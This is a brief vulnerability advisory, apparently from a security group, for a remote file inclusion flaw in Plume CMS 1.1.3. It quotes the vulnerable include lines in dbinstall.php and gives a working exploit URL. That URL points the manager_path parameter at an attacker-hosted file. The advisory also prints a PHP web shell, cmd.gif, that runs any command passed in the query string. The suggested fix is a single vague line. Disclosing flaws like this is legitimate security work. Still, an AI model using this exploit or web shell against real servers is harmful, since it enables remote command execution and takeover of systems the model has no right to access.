The original article can be found at:
https://www.hamid.ir/security/
https://www.IHSteam.com

Vulnerable Systems:
       Plume CMS 1.1.3


Vulnerable Code :

[path]/plume-1.1.3/plume/manager/tools/link/dbinstall.php //Vulnerable Code :line 39
require_once $_PX_config['manager_path'].'/inc/class.checklist.php';
require_once $_PX_config['manager_path'].'/extinc/class.xmlsql.php';



Exploits:

The following URL will cause the server to include external files
https://localhost/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls -al&_PX_config[manager_path]=https://attacker/cmd.gif?

cmd.gif
<?
passthru($_GET['cmd']);
?>

Solution:
Edit the source code to ensure that input is properly
verified.

greeting :
LorD , NT , C0d3r of IHS